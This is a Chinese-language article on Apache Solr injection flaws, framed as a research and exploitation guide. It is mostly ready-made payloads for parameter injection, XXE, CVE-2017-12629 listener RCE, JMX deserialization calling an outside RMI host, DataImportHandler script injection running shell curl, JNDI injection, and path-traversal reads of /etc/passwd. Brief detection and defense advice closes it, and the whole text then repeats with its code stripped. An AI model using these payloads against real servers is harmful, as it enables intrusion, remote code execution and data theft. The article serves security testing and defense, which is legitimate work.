Apache Solr Injection Research
字数 1638 2025-08-26 22:12:02

Apache Solr 注入漏洞研究与利用指南

概述

Apache Solr 是一个开源企业搜索平台,使用 Java 语言开发,隶属于 Apache Lucene 项目。主要功能包括全文检索、命中标示、分面搜索、动态聚类以及文档处理。Solr 提供了大量高效的 REST API 接口,默认不需要身份验证即可访问,这使得它容易出现 SSRF、CSRF 和 HTTP 请求走私等漏洞。

Solr API 基础

启动 Solr 实例后(./bin/solr start -e dih),会在 8983 端口创建 web 服务器。主要查询参数包括:

  • /solr/db/select - "db"是仓库名称,"/select"表示搜索操作(由 SearchHandler 类处理)
  • q={!dismax df=name}Apple - 通过"dismax"查询解析器在"name"字段搜索"Apple"
  • fl=*,score,similar:[subquery] - 指定返回字段,可通过[subquery]包含另一个查询结果

Apache Solr 注入漏洞

1. Solr 参数注入(HTTP 请求走私)

当应用程序对 Solr 进行 HTTP API 调用时未正确编码用户输入,可能导致参数注入。例如:

@RequestMapping("/search")
public Object search1(@RequestParam String q) {
    String solr = "http://solrserver/solr/db/";
    String query = "/select?q=" + q + "&fl=id,name&rows=10";
    return http.get(solr + query);
}

攻击者可构造恶意请求:

/search?q=Apple%26xxx=yyy

导致服务器请求:

/solr/db/select?q=Apple&xxx=yyy

关键利用参数

  • shards=http://127.0.0.1:8983/ - 将请求转发到恶意 Solr 服务器
  • qt=/update - 重写请求处理端点
  • shards.qt=/update - 重写请求处理端点
  • stream.body=xxx - 重写整个请求(旧版本)

利用示例

修改 Solr 配置:

/search?q=Apple&shards=http://127.0.0.1:8983/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}

XSS 攻击:

/solr/db/select?indent=on&q=*&wt=xml&fl=price,name:[value+v='<a:script+xmlns:a="http://www.w3.org/1999/xhtml">alert(1)</a:script>'],name:[xml]

2. Solr 本地参数注入

当参数 q 被正确编码但仍可指定解析类型和本地参数:

/search?q={!type=_parser_type_+param=value}xxx

利用示例

XXE 攻击(CVE-2017-12629):

/search?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://127.0.0.1:/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}

跨集合查询:

/search?q={!join from=id fromIndex=anotherCollection to=other_id}Apple

RCE 方法总结

1. [CVE-2017-12629] 通过 RunExecutableListener 实现 RCE

适用版本:5.5x-5.5.5, 6x-v6.6.2, 7x - v7.1

添加恶意监听器:

POST /solr/db/config HTTP/1.1
{
  "add-listener": {
    "event":"postCommit",
    "name":"newlistener",
    "class":"solr.RunExecutableListener",
    "exe":"nslookup",
    "dir":"/usr/bin/",
    "args":["solrx.x.artsploit.com"]
  }
}

触发执行:

GET /solr/db/select?q=xxx&shards=localhost:8983/solr/db/update%23&commit=true

2. [CVE-2019-0192] 通过 jmx.serviceUrl 实现反序列化

适用版本:5.x ~ 7.x

设置恶意 JMX 服务 URL:

POST /solr/db/config HTTP/1.1
{
  "set-property": { 
    "jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://artsploit.com:1617/jmxrmi"
  }
}

利用 ysoserial 创建 RMI 服务器:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1617 ROME2 "calc"

3. [CVE-2019-0193] 通过 dataImportHandler 实现 RCE

适用版本:1.3 – 8.2
要求:启用 DataImportHandler

JavaScript 注入:

/solr/db/dataimport?command=full-import&dataConfig=<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[function f1(data){new java.lang.ProcessBuilder(["/bin/sh","-c","curl 127.0.0.1:8984/xxx"]).start()}]]></script>
  <document>
    <entity name="xx" url="http://localhost:8983/solr/admin/info/system" processor="XPathEntityProcessor" forEach="/response" transformer="HTMLStripTransformer,RegexTransformer,script:f1">
    </entity>
  </document>
</dataConfig>

JNDI 注入:

/solr/db/dataimport?command=full-import&dataConfig=<dataConfig>
  <dataSource type="JdbcDataSource" driver="com.sun.rowset.JdbcRowSetImpl" jndiName="rmi://localhost:6060/xxx" autoCommit="true"/>
  <document>
    <entity name="xx">
    </entity>
  </document>
</dataConfig>

4. [CVE-2012-6612, CVE-2013-6407, CVE-2013-6408] Update 中的 XXE

适用版本:1.3 - 4.1 or 4.3.1

POST /solr/db/update HTTP/1.1
<!DOCTYPE x [<!ENTITY xx SYSTEM "/etc/passwd">]>
<add>
  <doc>
    <field name="id">&xx;</field>
  </doc>
</add>

5. [CVE-2013-6397] 通过路径遍历和 XSLT 响应写入实现 RCE

适用版本:1.3 - 4.1 or 4.3.1
要求:可上传 XLS 文件

/solr/db/select/?q=31337&wt=xslt&tr=../../../../../../../../../../../../../../../../../usr/share/ant/etc/ant-update.xsl

6. [CVE-2017-3163] 通过 ReplicationHandler 实现任意文件读取

适用版本:5.5.4~6.4.1

/solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../etc/passwd&wt=filestream&generation=1

黑盒测试方法

发送以下 OOB Payload 检测漏洞:

/xxx?q=aaa%26shards=http://callback_server/solr
/xxx?q=aaa&shards=http://callback_server/solr
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://callback_server/solr'><a></a>"}

防御建议

  1. 升级到最新版本 Solr
  2. 启用身份验证和授权
  3. 对用户输入进行严格过滤和编码
  4. 禁用不必要的功能模块(如 DataImportHandler)
  5. 配置网络防火墙限制 Solr 服务器出站连接

总结

Apache Solr 存在多种注入漏洞,攻击者可利用这些漏洞读取敏感数据、修改配置甚至实现远程代码执行。无论 Solr 是面向 Internet 还是仅内部使用,都应采取适当的安全措施防止参数注入攻击。

Apache Solr 注入漏洞研究与利用指南 概述 Apache Solr 是一个开源企业搜索平台,使用 Java 语言开发,隶属于 Apache Lucene 项目。主要功能包括全文检索、命中标示、分面搜索、动态聚类以及文档处理。Solr 提供了大量高效的 REST API 接口,默认不需要身份验证即可访问,这使得它容易出现 SSRF、CSRF 和 HTTP 请求走私等漏洞。 Solr API 基础 启动 Solr 实例后( ./bin/solr start -e dih ),会在 8983 端口创建 web 服务器。主要查询参数包括: /solr/db/select - "db"是仓库名称,"/select"表示搜索操作(由 SearchHandler 类处理) q={!dismax df=name}Apple - 通过"dismax"查询解析器在"name"字段搜索"Apple" fl=*,score,similar:[subquery] - 指定返回字段,可通过[ subquery ]包含另一个查询结果 Apache Solr 注入漏洞 1. Solr 参数注入(HTTP 请求走私) 当应用程序对 Solr 进行 HTTP API 调用时未正确编码用户输入,可能导致参数注入。例如: 攻击者可构造恶意请求: 导致服务器请求: 关键利用参数 shards=http://127.0.0.1:8983/ - 将请求转发到恶意 Solr 服务器 qt=/update - 重写请求处理端点 shards.qt=/update - 重写请求处理端点 stream.body=xxx - 重写整个请求(旧版本) 利用示例 修改 Solr 配置: XSS 攻击: 2. Solr 本地参数注入 当参数 q 被正确编码但仍可指定解析类型和本地参数: 利用示例 XXE 攻击(CVE-2017-12629): 跨集合查询: RCE 方法总结 1. [ CVE-2017-12629 ] 通过 RunExecutableListener 实现 RCE 适用版本 :5.5x-5.5.5, 6x-v6.6.2, 7x - v7.1 添加恶意监听器: 触发执行: 2. [ CVE-2019-0192 ] 通过 jmx.serviceUrl 实现反序列化 适用版本 :5.x ~ 7.x 设置恶意 JMX 服务 URL: 利用 ysoserial 创建 RMI 服务器: 3. [ CVE-2019-0193 ] 通过 dataImportHandler 实现 RCE 适用版本 :1.3 – 8.2 要求 :启用 DataImportHandler JavaScript 注入: JNDI 注入: 4. [ CVE-2012-6612, CVE-2013-6407, CVE-2013-6408 ] Update 中的 XXE 适用版本 :1.3 - 4.1 or 4.3.1 5. [ CVE-2013-6397 ] 通过路径遍历和 XSLT 响应写入实现 RCE 适用版本 :1.3 - 4.1 or 4.3.1 要求 :可上传 XLS 文件 6. [ CVE-2017-3163 ] 通过 ReplicationHandler 实现任意文件读取 适用版本 :5.5.4~6.4.1 黑盒测试方法 发送以下 OOB Payload 检测漏洞: 防御建议 升级到最新版本 Solr 启用身份验证和授权 对用户输入进行严格过滤和编码 禁用不必要的功能模块(如 DataImportHandler) 配置网络防火墙限制 Solr 服务器出站连接 总结 Apache Solr 存在多种注入漏洞,攻击者可利用这些漏洞读取敏感数据、修改配置甚至实现远程代码执行。无论 Solr 是面向 Internet 还是仅内部使用,都应采取适当的安全措施防止参数注入攻击。